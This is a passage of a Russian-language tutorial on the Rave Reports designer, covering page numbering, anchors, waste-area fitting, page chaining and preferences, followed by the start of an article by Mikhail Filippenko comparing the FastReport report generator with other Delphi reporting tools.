20. выберите все компоненты для адреса. Измените свойство FontMirror FMArial14BldUndrln. Теперь, это можно использовать для изменения шрифта у многих компонент Text/Memo с одной установки на другую без изменения свойства Font у каждого компонента;
21. Иногда может быть много компонентов связанных с одним компонентом FontMirror, поскольку все они имеют отношение к одной специфической области отчета. В этом примере, мы можем предположить, что все заголовки адреса должны быть связаны с одним свойством FMArial14Bldunderln, через свойство Font Mirror. Так, , чтобы изменять это мы должны переделать только одно свойство FontMirror;
22. выберите FMArial14BldUnderln компонент FontMirror в дереве проекта;
23. в панели свойств, пока компонент выбран, нажмите на кнопку эллипса;
24. измените в диалоге Font следующие свойства: Times New Roman, 10, по other Font Effects;
25. в свойстве Name свойства FontMirror, введите следующее имя: FMTimesNwRmn10.
Упражнение 26: настройка компонента PageNumInit для нумерации
1. сначала создайте новую страницу, или используйте ту, которая осталась от предыдущего примера. Если это новая страница, бросьте несколько компонент Text на нее. Это просто компоненты для примера.
2. перейдите в панель отчета и найдите компонент Data Text. Нажмите на него и затем нажмите на странице.
3. поместите компонент DataText в область, в которой должен быть номер страницы, например, в самом низу страницы.
4. убедитесь, что компонент размещен корректно и выбран. Проверь выбор путем визуального наблюдения, вокруг компонента должна быть рамка с зелеными маркерами, или компонент должен быть подсвечен в дереве проекта.
5. Пока компонент выбран, перейдите в панель свойств и посмотрите свойство DataField. Нажмите на копку эллипса.
6. должен появится редактор Data Text. Посмотрите в редакторе на секцию "Report Variables".
7. теперь, помощью стрелок перейдите в конец Report Variables. Щелкните на нем и посмотрите все доступные элементы. Использую линейку прокрутки, перемещайтесь вверх/вниз по меню.
8. в секции Report Variables, посмотрите на "Relative Page". Выберите ее.
9. затем нажмите на кнопку Insert Report Var, справа от секции Report Variables. Это поместит подходящий текст в области Data Text, внизу редактора Data Text.
10. перейдите в область Data Text и напечатайте следующее: « + 'of' + ». Включая пробелы до и после каждого символа.
11. теперь возвратитесь в выпадающий список Report Variables. Прокрутите, пока не найдете TotalPages. Выберите этот элемент.
12. надмите на кнопку Insert Report Var, для вставки в область Data Text. «Report.TotalPages» будет добавлено в эту область.
13. Нажмите OK, когда будете готовы. Ваша область DataText выглядит следующим образом.
14. после нажатия OK, Вы возвратитесь в панель свойств. Если ВЫ расширите панель свойств и посмотрите на свойство DataField, Вы увидите результат DataText полученный из редактора Data Text.
15. на странице, компонент DataText будет выглядеть как A ниже. Если вы расширите рамки компонента DataText (как в B), Вы увидите, что появится результат из редактора Data Text. В действительности не необходимости расширять компонент; это мы сделали, для того, что бы посмотреть в данном упражнении.
16. Осталась еще одна вещь, для окончания нумерации страницы, мы должны инициализировать страницу требуемым номером. Для этого перейдите в дерево проекта и найдите компонент PageNumInit. Выберите его.
17. пока компонент PageNumInit еще выбран, перейдите в панель свойств и найдите свойство InitValue.
18. в свойстве InitValue введите число, это означает, что нумерация наших страниц начитается с единицы.
19. это все, что нужно для настройки PageNumInit. Отметим, что каждый отчет нумеруется независимо от другого отчета.


Адаптация отчетов

Обзор
Одной из больших проблем, с которой сталкиваются разработчики при создании отчетов, это адаптация. Что точно такое эта адаптация? Сначала, когда отчет создан, выполнение нормально происходит на одном конкретном компьютере, к которому подключено один или более принтеров. Когда отчет выполняет в жизни, вступают в действие такие факторы, размер бумаги, ориентация листа и непечатная область на разных принтерах. Во вторых, должен допускать некоторую гибкость в общей разработке и формате отчета.
Rave помогает преодолевать эти проблемы, давая доступ разработчику до конкретных свойств отчета. В этой главе, эти свойства объяснится подробно, и позволяют делать стандартный вид на различных платформах. На этом пути разработчик может сфокусироваться на создании отчета и меньше беспокоиться о преодолении сложностей распространения.
Отчеты также будут способны настроить форматы, основываясь на внешних параметрах, переданных во время выполнения.
Свойство якоря (Anchors)
Большинство визуальных компонент имеет свойство Anchors. Это мощное средство определяет, как будет перемещаться при изменении размеров его родителя. Есть два значения якорей, один для горизонтали и один для вертикали. По умолчанию якоря установлены на верхний левый угол родителя. Что это значит, когда меняется размер родителя (например, компонент Section), компонент останется на том же самом расстоянии от левого, верхнего угла родителя. Два других значения якорей это Bottom и Right, они аналогичны по функциям (фиксируют правый, нижний угол родителя).
Параметр якоря Center фиксирует ребенка в центр родителя. Stretch поменяет размеры так, что стороны останутся на том же расстоянии от родителя. Stretch чаще всего используется, когда Вы хотите, чтобы компонент соответствовал ширине и высоте родителя. Две других специальных установки якоря, Resize и Spread используются для группы компонент. Resize пропорционально меняет размер компонент и промежутков между ними, при изменении родителя. Spread пропорционально меняет только промежутки между ними, (компоненты остаются того же размера) при изменении родителя. Бросьте компонент Section и поместите на нем несколько прямоугольников или текстовых компонент, измените значения этих компонент, что бы увидеть действие якорей.
Якоря могут быть использованы, чтобы создавать самонастраивающиеся отчеты, когда объединяются с другими возможностями отчета. Представьте себе, что отчет может печататься, или в портретной, или в альбомной ориентации, или отчет может выполняться на разных размерах бумаги. Установка свойств якорей позволит отчету приспосабливаться к этим меняющимся условиям. Типичный табличный отчет, созданный компонентами Region; это Band, Text и DataText компоненты внутри каждой полосы. Если компонент Region устанавливает якорь в Stretch, по горизонтали и вертикали и все компоненты Text и DataText устанавливают якоря в Resize, отчет сможет подстроиться под эти установки.
Другие изменения, как например, непечатная область принтера, может также быть решена с помощью якорей и будет обсуждена в следующей главе.
Непечатная область принтера
Большинство принтеров имеют область, называемую как Непечатная область принтера. Это означает, что в данной области невозможна никакая печать, по причине фактических ограничений аппаратных средств (обычно, поскольку принтер использует эту область страницы, чтобы "захватывать" бумагу, при прохождении через ролики). Эти значения могут поколебаться от 0 (общее для матричных принтеров) до 1,5 дюймов. Чернильные принтеры обычно имеют большую нижнюю границу (и иногда 0 для верхней границы), большинство чернильных и лазерных принтеров имеют около 0,25 дюйма для левой и правой границ непечатной области.
Рамки с красными точками, на границах страницы, показывают непечатную область текущего выбранного принтера (или установленные предпочтения). Все между этими линиями и границами листа представляет непечатную область принтера, в которой вы должны избегать размещать компоненты. Проблема состоит в том, как узнать какой будет эта зона для назначенного принтера. Если отчет разработан с чрезвычайно большими границами этих полей, тогда лишком много пустого пространства будет занято на каждой странице. Свойство WasteFit отвечает на эту общую проблему печати.
Страница имеет свойство, называемое WasteFit, которому можно назначить одно из двух значение, или true или false.
По умолчанию значение False. Установка в значение true заставляет страницу, подстраивать компоненты, размещенные на ней, так что бы они поместились в рабочей области принтера. Компоненты, размещенные на ней, масштабируются, что бы они поместились в рабочей области.
Тем не менее, этого недостаточно, что бы установка в WasteFit отработало для всех компонент автоматически. Подчиненные компоненты должны иметь свои собственные якоря, что бы они смогли также построиться при смене размеров страницы.
Когда это используется правильно, то это свойство становится мощной возможностью, позволяя разработанным отчетам автоматически приспосабливаться к различным принтерам.
Редактор якорей
Обычно, полосы отчетов, колонки, абзацы выравниваются к левому верхнему углу требуемой зоны. Это достаточно для большинства потребностей отчета.
Тем не менее, возможно Вы захотите управлять начальной или конечной позициями ваших компонент динамически. Это может быть двух колоночная секция, где левая колонка это компонент Memo, который изменяет высоту и правая колонка это компонент Text, который всегда занимает одну строку. Как сделать оба компонента плавающими и выровнять по низу формата? В Rave это делается с помощью свойства Anchor.
Что бы изменить стиль якоря зайдите в требуемый компонент и нажмите кнопку эллипса, это откроет редактор якорей, подобный одному из выше показанных. Это предоставляет метод для выбора стиля якоря данному компоненту, с помощью соответствующей вертикальной ил горизонтальной радио кнопок. Обратите внимание на представление появляющиеся ниже каждой. Выбор якоря имеет визуальную индикацию, что делает та или другая установка. Три другие установки Stretch, Resize, Spread немного сложны для объяснения, но образцы примеров также показывают на рисунке, сто каждая делает.
Важно заметить, что свойство Anchor применяется относительно родителя компонента. Так, если родителем является страница, то установки действуют относительно сторон страницы. Если родителем является секция, то установки действуют относительно сторон секции. Одним из путей визуально увидеть родство это посмотреть компоненту в дереве отчетов. Уровень выше и является родителем.
Следующие комбинации не ограничительные, но обычно спариваются следующим образом:
· Выравнивание Left/Top
· Выравнивание Right/Bottom
· Выравнивание по обоим центрам
· Оба Stretch
· Оба Resize
· Оба Spread


Пакеты и обмер страниц

Пакеты страниц
Вероятно, наиболее общим методом связывания страниц, будет последовательная пакетная обработка страниц, что определяется списком независимых определений страниц. Первая страница в списке начинает выполнение и продолжает до конца, затем вызывается вторая и так до последней страницы. Главной вещью, о которой надо помнить, что определение каждой страницы независимо от других и выполнение продолжается до окончаний, прежде чем начнется выполнение следующей страницы. Помните, что это проще для административных задач, при выполнении группы страниц на текущей основе.
Определите последовательность страниц печати, через свойство PageList, в пределах выбранного узла уровня Report. Когда это свойство будет выбрано (нажатием на кнопке эллипса), будет вызван диалог, который позволит построить список из списка определений страниц, в указанном узле дерева отчета. Преимущество этого метода - в том, что PageList независим от индивидуальных определений страниц. Это означает, что PageList может запустить целую последовательность страниц (отчетов), но индивидуальные отчеты могут все еще выбираться индивидуально и запускаться без ввода пакетной связи. Помните, что страницы отчета не видимы другим отчетам так, что если требуется гибкость в вызове отдельных определений страниц, определите многократно используемые страницы, как глобальные страницы, вместо страниц отчета.
ПРЕДУПРЕЖДЕНИЕ
Другой метод, группировать страниц, это установить в первой странице свойство GotoPage к другой странице. Теперь, когда первая страница закончится, автоматически начнется вторая страница. Проблема с данной техникой, что как только будет запущена первая страница, она ВСЕГДА запустит вторую страницу, так как они связаны вместе на уровне определений страниц.
Вызов страниц
(Узел Page – свойство GotoMode – установка gmCallEach)
Другой тип связи отчетов, где должен быть обычный поток страниц. Легчайший пример этого будет отчет, где каждая запись ВСЕГДА производит три страницы вывода. Это может быть отчет в виде формы, где страница 1 содержит демографическую информацию о пациенте, страница 2 содержит медицинскую информацию, и страница 3 содержит страховую информацию. Так, проходя по базе данных, каждая запись о пациенте будет производить три страницы отчета. Смотри упражнение для пошаговых инструкций как вызывать страницы.
Цепочка страниц
(Узел Page – свойство GotoMode - установка gmGotoDone)
Обмен страниц подобен пакетному режиму. Пакетная техника была обсужденная раньше, с использованием свойства PageList, и было предупреждение об использование свойства GotoPage. Тем не менее, если Вы планируете последовательность, то используйте свойство GotoPage со страницами их каталога глобальных страниц, оно очень мощное. Упражнение в конце данной главы дает определение Multi-Page определений, включая счет, файловую копию, документы о поставке и сопроводительные документы.
Различный формат первой страницы
(узел Page – свойство GotoMode – установка gmGotoNotDone)
Другой тип связи это когда в отчете первая страница отличается от других страниц. Это может быть отчет, которые имеет титульный лист, может быть с логотипом компании на странице 1, но оставшиеся страницы имеют другой одинаковый формат. Что Вам нужно сделать для этого, Вы должны создать отдельное определение для первой страницы, которое указывает на страницу 2. затем создать определение второй страницы (все оставшиеся страниц), которые дальше никуда не указывают. Упражнение в конце главы проходит через подробные шаги по выполнению данного процесса.
Различный формат четных/нечетных страниц
(Узел Page – свойство GotoMode – установка gmGotoNotDone)
Другой тип связи это когда отчет имеет различные форматы для четных/нечетных страниц. Это могут быть отчеты, которые печатаются на обеих сторонах листа бумаги (дуплексная печать) и перфорированные отверстия на одной стороне, так что бы конечный отчет мог быть вложен в скоросшиватель. Это будет означать, что внутренние границы (скажем 1 дюйм) могут быль больше, чем внешние границы (скажем Ѕ дюйма). Чтобы создавать цикл где определение страницы 1 (нечетные страницы) указывало на страницу 2 и не вызывало ее, если отчет закончен на этой странице, И определение страницы 2 (четные страницы) указывало на страницу 1 и не вызывало ее, если отчет закончен на этой странице. Этот цикл должен продолжаться пока отчет полностью не отпечатается. Смотрите упражнение в конце данной главы для получения подробных шагов для выполнения данного этого процесса.
Отчеты Пакет - Цепочка
Как только разработка отчета закончена и работает, повседневные процедуры отрегулировались. В этой точке, не будет необычным обнаружение того, что некоторые отчеты часто приходится печатать в определенной последовательности. Это могло быть группой отчетов, которые создаются в конце каждого месяца, квартала, и тому подобное. Другой пример мог быть серией исполнительных итогов, которые требуются верхнему уровню управления. Конечно, возможно запустить каждый требуемый отчет индивидуально для этих повторных случаев. Затем, когда они будут полностью сделаны, сгруппировать их вместе и отдать в офис. Это часто означает, что есть контрольная таблица, которая подробно описывает, какие повторные отчеты требуются, когда и для кого.
Эта проблема производства повторной последовательности отчетов решена в Rave путем связывания отчетов один с другими. Rave имеет способность связывать определения страниц отчетов, в широкий ряд путей, устанавливая различные комбинации трех свойств: Page.GotoMode, Page.GotoPage и Report.PageList. Важно отметить, что установка свойства GotoMode определяет поведение свойства GotoPage. Свойство PageList на уровне узла Report разработано для предоставления пути установки нескольких различных цепочек в заданной последовательности свойством GotoPage.
Хотя мы дадим примеры, как получить различные последовательности «пакет/цепочка», не возможно включить все возможные варианты. Секрет в том, что каждый должен понять и быть гибким в смешивании различных частей Rave. Конкретно, обратить особое внимание на каталог глобальных страниц и свойства GotoMode, GotoPage, Mirror и PageList. Различные комбинации этих свойств обеспечивают разнообразие параметров вывода. Есть много мощи в этом, поэтому наилучший совет начните с простых отчетов. Затем добавьте некоторые их этих мощных добавлений, и они принесут вам понимание.
Упражнение 27: вызов страниц
Путь выполнения этого следующий:
· выполните все обычные определения для страницы 1;
· выполните все обычные определения для страницы 2;
· выполните все обычные определения для страницы 3;
· установите свойство GotoPage первой страницы указывать на вторую страницу;
· установите свойство GotoMode первой страницы в gmCallEach;
· установите свойство GotoPage второй страницы указывать на третью страницу;
· установите свойство GotoMode второй страницы в gmGotoDone;
· убедитесь, что свойство GotoPage последней страницы пустое.
Установка свойство GotoPage первой страницы в gmCallEach активирует свойство после печати первой страницы. Так, по окончанию первой физической страницы, начнется выполнение второй страницы. Поскольку вторая страница имеет режим gmGotoDone, то переход будет, когда закончится печать второй страницы. Страница три отпечатается, и управление перейдет к первой странице, поскольку ее свойство GotoPage пусто. Таким способом Вы можете объединить любое количество страниц совместно. Ключ в том, что установка gmCallEach сохранит вызывающую страницу, чтобы всякий раз, встретится пустое свойство GotoPage, печать продолжилась на вызывающей странице.
Упражнение 28: цепочка страниц
В данном примере, мы собираемся сделать Multi-Page определение, которое включит счет, файловую копию, транспортную накладную и упаковочный лист.
· Создайте секцию на глобальной странице, которая будет зеркально отображена позже.
Выполните все нормальные определения для страницы счета в данной секции;
· Создайте секцию на глобальной странице, которая будет зеркально отображена позже.
Выполните все нормальные определения для страницы файловой копии в данной секции;
· Создайте секцию на глобальной странице, которая будет зеркально отображена позже.
Выполните все нормальные определения для страницы транспортной накладной в данной секции;
· Создайте секцию на глобальной странице, которая будет зеркально отображена позже.
Выполните все нормальные определения для страницы упаковочного листа в данной секции;
· Создайте новый отчет, который будет хранить определения для этих страниц;
· Создайте новую страницу определения, «Invoice».
Бросьте секцию на эту страницу и установите свойства Left и Top отраженные на глобальную секцию «Invoice», бросьте текстовый компонент в низ страницы "INVOICE COPY";
· Создайте новую страницу определения, «FileCopy1».
Бросьте секцию на эту страницу и установите свойства Left и Top отраженные на глобальную секцию «FileCopy», бросьте текстовый компонент в низ страницы «FILE COPY 1»;
· Создайте новую страницу определения, «FileCopy2».
Бросьте секцию на эту страницу и установите свойства Left и Top отраженные на глобальную секцию «FileCopy», бросьте текстовый компонент в низ страницы «FILE COPY 2»;
· Повторите данные шаги для транспортной накладной и упаковочного листа;
· Теперь вернитесь в определение страницы «Invoice» (НЕ глобальное определение).
Установите PageMode в gmGotoDone.
Установите PageGoto указывающим на страницу определения «File Copy 1»;
· Повторите эти шаги для каждой копии, помните оставить пустым последнее свойство PageGoto.
Зеркальное отражение глобальной страницы позволяет многократно использовать основной дизайн. Данный пример показывает, «FileCopy» будет отражено дважды, и определение метки на каждой странице будет различаться.
Упражнение 29: различная первая страница
Путь выполнения этого следующий:
· выполните все обычные определения для страницы 1;
· создайте новое определение для второй страницы;
· установите свойство GotoPage первой страницы указывающим на вторую страницу;
· установите свойство GotoMode первой страницы в gmGotoNotDone;
· выполните все обычные определения для страницы 1;
· убедитесь, что свойство GotoPage второй страницы оставлено пустым.
Установка свойства GotoMode в gmGotoNotDone активизирует свойство GotoPage после того, как первая физическая страница отпечатается, но только когда определение текущей страницы не завершится (например, EOF – конец файла). Так, по окончанию физической страницы 1, начнется выполнение страницы 2. Поскольку определения страницы 2 имеет пустым свойство GotoPage, определения страницы два останутся в силе, пока все оставшиеся физические страницы не завершатся.
Упражнение 30: различные четные и нечетные страницы
Путь выполнения этого следующий:
· сделайте секцию на первой странице, которая установите для границ нечетных страниц. Например, установите свойства Left = 1.0, Width = 7.0, Top = 0.5 и Height = 10.0;
· закончите все остальные обычные определения для страницы 1 в данной секции;
· создайте новую страницу для определений;
· бросьте секцию на страницу 2, и установите параметры для верхней и левой границ, четных страниц. Например, Left = 0.5 и Top = 0.5;
· установите свойство Mirror секции страницы 2 указывающим на секцию страницы 1;
· установите свойство GotoPage второй страницы указывающим на первую страницу;
· установите свойство GotoPage первой страницы указывающим на вторую страницу;
· установите свойство GotoMode обеих страниц в gmGotoNotDone.
Установка свойство GotoPage первой страницы в gmCallEach активирует свойство после печати каждой физической страницы, но только пока определение текущей страницы не закончено (например, EOF – конец файла). Так, по окончанию физической страницы 1, начнется выполнение страницы 2, по окончанию физической страницы 2, начнется выполнение страницы 1. Данный цикл будет продолжаться, пока одна из страниц не закончится. Если в данной точке, управление должно быть передано другой странице, используйте свойство компонент отчета PageList для выбора следующей страницы.


Предпочтения

Вызов диалога предпочтений
Перед началом работы в Rave сделайте маленький перерыв и узнайте об управлении поведением дизайнера RAVE. В основном меню, выберите «Edit», затем «Preferences». Это откроет диалог предпочтений, где посмотрите и почувствуйте систему настройки RAVE.
Закладка Default
Закладка «Default», это место, где производится настройка параметров поведения визуального дизайнера проекта RAVE и страниц. Установки в закладке «Default» используются при создании нового проекта или страницы. После того, как проект будет запущен, свойства проекта могут быть изменены на уровне Project и затем они будут сохранены для данного проекта. Тот же относится к свойствам страниц. Например, проект мог иметь сетку по умолчанию в 0,25 дюйма, но отдельной странице установка сетки может быть изменена на 0.1 дюйма.
Закладка Designer
Закладка «Designer» управляет изменениями сетки, выравниванием, единицами измерений и масштабирования.
«Zoom Increment» управляет коэффициентом изменения при операциях масштабирования в компонентах или панели масштабирования.
Секция «Alignment Options» управляет видимостью кнопок Order и Tap. Она также управляет «speed key», назначенной инструменту перемещения (Tap). «speed key» в действительности лишь определяет расстояние, на которое компоненту разрешено перемещаться за одно нажатие клавиши. Для использования данной возможности, выберите компонент и нажмите любую из кнопок перемещения на панели. Или используйте стрелки на клавиатуре совместно с нажатой клавишей Ctrl.
В области «Grid Settings», цвет сетки и другие связанные изменения могут быть применены к странице отчета. «Snap To Grid» заставит курсор мыши перемещать и изменять размеры компонент в единицах приращения Grid Spacing. Параметр «Draw Grid On Top» позволяет сетке находиться поверх компонент, которые имею непрозрачный цвет фона. Для скрытия сетки, снимите отметку с «Show Grid». Некоторыми из этих предпочтений можно управлять из панели дизайнера. Более подробно о панели дизайнера и других панелях написано в главе «8. Панели утилит».
«Waste Area» управляет видимостью между рамкой (красная линия из точек) и краем листа. «Show Waste Area» показывает, прячет эту красную рамку вокруг страницы. Затем следующие два выбора управляют шириной «Waste Area». «Waste Area» может быть установлена по настройкам принтера по умолчанию, или может быть установлена вручную с помощью полей ввода Left, Right, Top и Bottom.
В секции «Background Gradient», есть три цвета, которые создают область между страницей и ее границами. Щелкните на колесе цвета и выберите желаемые цвета градации заливки фона. Для того, чтобы сделать фон однотонным, просто выберите тот же цвет для всех трех составляющих.
Видимость панелей Order Alignment и Tap Tools управляется установками в секции Alignment Options закладки Designer. Для перехода в эту секцию выберите пункт Preferences из меню Edit и затем выберите закладку Designer.
Также в параметрах «Alignment Options», панель Tap имеет «speed key» назначенный ей. Этот «speed key» в действительности лишь определяет расстояние, на которое компоненту разрешено перемещаться за одно нажатие клавиши. Параметр «Tap Distance» изначально установлен в 0,01 дюйма. Если эту дистанцию увеличить, то перемещение компонент потребует меньше времени. Для использования данной возможности, выберите компонент и, удерживая нажатой клавишу Ctrl, нажмите на одну из кнопок перемещения на панели. Или используйте стрелки на клавиатуре совместно с нажатой клавишей Ctrl.
Закладка Environment
«Environment» содержит настройки для объема показываемой пользователю информации, панелей и параметров среды страницы.
«User Level», это уровень пользователя, который можно повысить или снизить. Данная настройка управляет объемом информации, который показывается пользователю, главным образом, имеющим дело с различными свойствами, которые будут объяснены позже в этом руководстве. Не отвлекайтесь сначала на различные расширенные свойства. Что бы упростить работу с Rave на ранней стадии опыта, начните с уровня или Beginner User Level (начальный) или Intermediate User Level (промежуточный). Пока начальный и промежуточный уровни достаточны для разработки отчетов Rave, эти уменьшенный установки скрывают некоторые органы управления. Таким образом, если есть элементы, обсуждаемые здесь и они не видны в Rave, проверьте настройки уровня пользователя в предпочтениях.
«Options» секция Environment, управляет заголовками полосок «Band», настройками среды и линейками. «Always Show Band Headers» заголовки полос будут показаны все время. «Save Environment Only Changes» сохраняет все изменения при выходе из программы. «Display Rulers» делает видимыми линейки.
«Run in administrator mode» заставляет пользователя ввести пароль, если есть файл паролей. Если данный параметр не установлен и есть файл паролей, пользователь не запрашивается для ввода пароля, но программа запускается не в административном режиме. Администратор может поместить пароль в различных местах для ограничения доступа. Установка пароля в свойстве AdminPassword ограничивает доступ пользователя.
"Язык" изменяет язык интерфейса пользователя. Чтобы иметь этот выбор, языковые файловые переводчики должны быть установлены. Как только установлено просто выбор язык.
«Language» изменяет язык пользовательского интерфейса. Что бы иметь такую возможность, должен быть установлен файл переводов. Если это установлено, просто выберите язык.
Закладка Shortcuts
Секция «Shortcuts» позволяет пользователю определить свои горячие клавиши, для широкого спектра действий в проекте.
Это поможет сохранить Вам некоторое время, если Вы проверите список «Actions», что бы увидеть, нет ли здесь горячей клавиши для задачи, которую Вы часто повторяете при использовании дизайнера Rave designer. Если здесь нет горячей клавиши, то Вы можете ее создать.


FastReport - Разработка кросс-платформенных отчетов

Автор: Михаил Филиппенко
WEB-сайт: FastReport Software

Еще со времен Ады Ловлес разработчики программного обеспечения пытаются облегчить себе жизнь. И, без сомнения, это им удается.

Собственно говоря, любое современное приложение можно условно разделить на четыре части: функциональную (она выполняет обработку информации), интерфейсную (на нее возложено общение с пользователем, к которому нас приучили продукты Microsoft), базы данных (порядка 90% приложений напрямую или косвенно используют хранение информации в более или менее сложных структурах, для которых наиболее удобными оказываются базы данных) и отчетную (несмотря на все шаги в сторону автоматизации документооборота документы на бумаге все еще считаются важными и ни одна организация не обходится без них).

Давно прошли те времена, когда разработчику каждого приложения приходилось каждый раз изобретать формат базы данных, отчет и интерфейс. Можно увидеть, как за короткий срок базы и банки данных выделились в отдельную группу, приложения и интерфейсная часть в другую, генераторы отчетов - в третью. Благодаря таким средствам разработки как MS VisualC, Visual Basic, C# и Borland Delphi разработка серьезных приложений, работающих с базами данных, сегодня превратилась в некоторое подобие детского конструктора, в котором что угодно можно собрать из отдельных "кубиков".

Такой "кубик" как генераторы отчетов выделился в отдельную и немаловажную часть в разработках относительно недавно, однако и здесь есть богатейший выбор инструментов для построения отчетных форм (именно их, зачастую, в конечном счете требует заказчик). Для того же Borland Delphi вы можете воспользоваться как встроенными средствами, идущими в комплекте c Borland Delphi и Borland Visual C++Builder - QuickReport ак и более "продвинутыми" продуктами от других разработчиков, это Crystal Reports от Seagate Software (ныне Crystal Software), представляющий собой вполне самостоятельный продукт, имеющий компоненты, дающие доступ к его возможностям из любой популярной сегодня среды разработки, будь то Borland Delphi, MS Visual C или MS Visual Basic, это и ReportBuilder от компании DigitalMetaphors (по опросу DelphiZine вот уже несколько лет признаваемый самым популярным инструментом для разработки отчетов в Delphi), это и ReportPrinter (ныне Rave) от Nevrona Design, а также FastReport (по тому же опросу поделившие второе и третье место в 2001 году и вышедший на стабильное второе место в 2002 году).

На сегодняшний день FastReport версии 2.4 - это полностью визуальный генератор отчетов, т.е. большинство отчетов можно построить, пользуясь только мышью. Вот только некоторые его возможности:

Бэнд-ориентированный генератор отчетов.
Встроенный мощный дизайнер, доступный и в run-time.
WYSIWYG предварительный просмотр как в MS Word (т.е. мы можем видеть одновременно несколько страниц отчета).
Скорость работы сравнима с QuickReport.
Компактность кода - без дизайнера меньше, чем QuickReport3.
Неограниченное количество страниц сформированного отчета.
Многостраничные отчеты; составные (композитные) отчеты; вложенные отчеты; группы; многоколоночные отчеты; master-detail-detail отчеты; cross-tab отчеты; двухпроходные отчеты; "живые" отчеты.
Полный контроль над процессом печати, поддержка всех типов бумаги.
Набор наиболее популярных компонентов: Текст, Линия, Рисунок, Фигура, OLE объект, RichText, RX Rich 2.0, Диаграмма, Штрих-код.
Экспорт в TXT, RTF, CSV, HTML (в RTF, HTML - с картинками).
Поиск текста в сформированном отчете.
Редактирование сформированного отчета.
Встроенный интерпретатор Pascal-подобного языка для управления процессом построения отчета.
Набор визуальных компонентов для создания диалоговых форм;
Набор невизуальных компонентов для создания таблиц, запросов и баз данных;
Работа с BDE, Interbase Express (IBX), ActiveX Data Objects (ADO).
Работа как с Database - ориентированными источниками данных, так и с любыми данными.
Форма отчета может храниться как в DFM, так и во внешнем файле.
Функциональность может быть расширена за счет написания собственных компонент - визуальных объектов, мастеров, библиотек функций.
Построение типичного отчета включает в себя следующие этапы:

1. Выборка данных

на основе которых строится отчет. Большинство отчетов, как правило, основано на данных из БД. Для доступа к таким данным Delphi предоставляет эффективные механизмы, компоненты- наследники TDataSet., которые и используются в FastReport. Это могут быть компоненты TTable и TQuery, которые используемые как источники данных для отчета. Организация доступа к данным из БД осуществляется ядром FastReport без участия программиста.

Кроме данных, хранимых в БД, FastReport может использовать практически любые источники (массив, файл, содержимое StringGrid и пр.). Но в этом случае программист должен сам позаботиться о доступе к такой информации, используя набор событий, позволяющих осуществить передачу данных в ядро FastReport.

Реализация доступа к данным примерно одинакова во всех генераторах отчетов. Все генераторы умеют обращаться с компонентами доступа к данным, расположенными на формах проекта. Кроме доступа к данным, определенным в проекте, и FastReport, и ReportBuilder, и QR+QRDesigner позволяют создавать новые компоненты в run-time. В FastReport принципы создания компонентов доступа к данным максимально приближены к тем, что используются в среде Delphi. Так же, как и в Delphi, на форму кладется компонент и в инспекторе объектов настраиваются его свойства. Компонентная идеология весьма гибкая: можно легко создавать новые компоненты для поддержки разных движков доступа к данным. На самом деле сейчас у FR уже есть компоненты для доступа практически ко всем популярным СУБД.

2. Ввод параметров
вносящих необходимые уточнения в готовящийся отчет. На этом этапе осуществляется запрос параметров у пользователя (например, диапазон дат, по которому необходимо вывести данные). Некоторые отчеты обходятся без этого этапа либо используют фиксированную установку параметров (без запроса их значений в диалоге).
Этот этап реализован в разных генераторах отчетов по-разному. Так, в ReportBuilderб Rave и QR+QRDesigner есть возможность запроса параметров, если отчет использует данные из запроса (Query). Для диалога с пользователем используется "штатное" диалоговое окно. Кроме того, для запроса параметров можно использовать форму, разработанную в среде Delphi. Правда, при необходимости каких-либо изменений в логике работы придется перекомпилировать проект.
FastReport, помимо этого, позволяет конечному пользователю самому разрабатывать форму диалога, причем этот диалог будет частью отчета, а не приложения. Процесс напоминает построение формы в среде Delphi: имеется набор стандартных элементов управления, которые можно располагать на форме диалога и настраивать их свойства. С помощью встроенного языка FastReport позволяет реализовать необходимую логику работы диалога и передать введенные значения ядру генератора.
Возможность создания собственных диалогов очень полезна - вкупе с остальными возможностями (автономное создание источников данных, использование встроенного языка) она позволяет создавать "самодостаточные" отчеты, т.е. отчеты, максимально отвязанные от среды Delphi. Это позволяет создавать новые отчеты и модифицировать существующие без переписывания или перекомпиляции проекта.
Пример 1 - после формирования третьей страницы отчет может вывести диалог с запросом - а надо ли строить остальные страницы?
Пример 2 - В диалоговом окне могут быть практически любые элементы, вплоть до поля даты-времени, переключателей типа "radiobutton" и "checkbox", выпадающих списков и т.д., таковые возможности не предоставляет ни один из остальных упоминавшихся генераторов!

3. Построение отчетной формы
представляющей собой набор элементов, описывающих то, как должен выглядеть готовый отчет. Для группировки элементов по их функциональному расположению в готовом отчете традиционно применяются бэнды (от англ. band - полоска). Бэнды разделяются на два вида: служебные (заголовок отчета, страницы и пр.) и бэнды, образующие повторяющуюся (многострочную) часть отчета (далее - дата-бэнды). Дата-бэнды подключаются к источникам данных, и их содержимое выводится столько раз, сколько имеется строк данных в источнике. В случае с табличным (так называемом cross-tab - отчетом) повторяться могут как строки так и столбцы отчета.
Для построения формы отчета в FastReport используется визуальная среда разработки - дизайнер отчетов. Интерфейс дизайнера подобен большинству современных приложений, работающих с документами. Расположение традиционных панелей инструментов (toolbars), можно изменять по своему вкусу. Для удобства манипуляции свойствами объектов отчета используется инспектор объектов, аналогичный встроенному в среду разработки Borland Delphi.

4. Обработка данных
подразумевающая под собой обработку входных данных, модификацию формы отчета или отдельных ее компонентов в процессе построения отчета. Простейший пример такой обработки - вывод отрицательных сумм красным цветом. Более сложный пример обработки - печать суммы, которая подсчитывается в подвале группы, в ее заголовке.
Реализовать подобную обработку можно, прибегнув к написанию обработчиков событий в Delphi - именно так и сделано во всех генераторах отчетов. Но этот способ не дает достаточной гибкости отчету, поскольку не позволяет создавать новые отчеты вне среды Delphi без переписывания и перекомпиляции проекта. Для достижения таковой универсальности в FastReport и ReportBuilder применен встроенный язык - упрощенный аналог Pascal. Скрипты, написанные на этом языке, по сути дела, являются обработчиками событий, вызывающимися перед прорисовкой объектов. Это дает возможность выполнять достаточно сложную обработку информации без написания кода в Delphi, и, соответственно, без жесткой привязки отчета к проекту.
Возможности встроенного языка FastReport довольно широки. Из скрипта доступны все свойства и методы объектов отчета, а также переменные, поля таблиц БД. В скрипте можно создавать переменные и массивы, которые будут доступны во всем отчете. О возможностях встроенного языка говорит тот факт, что такая довольно сложная задача, как печать сумм группы в ее заголовке (сама сумма считается в подвале группы) средствами языка FastReport делается элементарно.

5. Готовый отчет
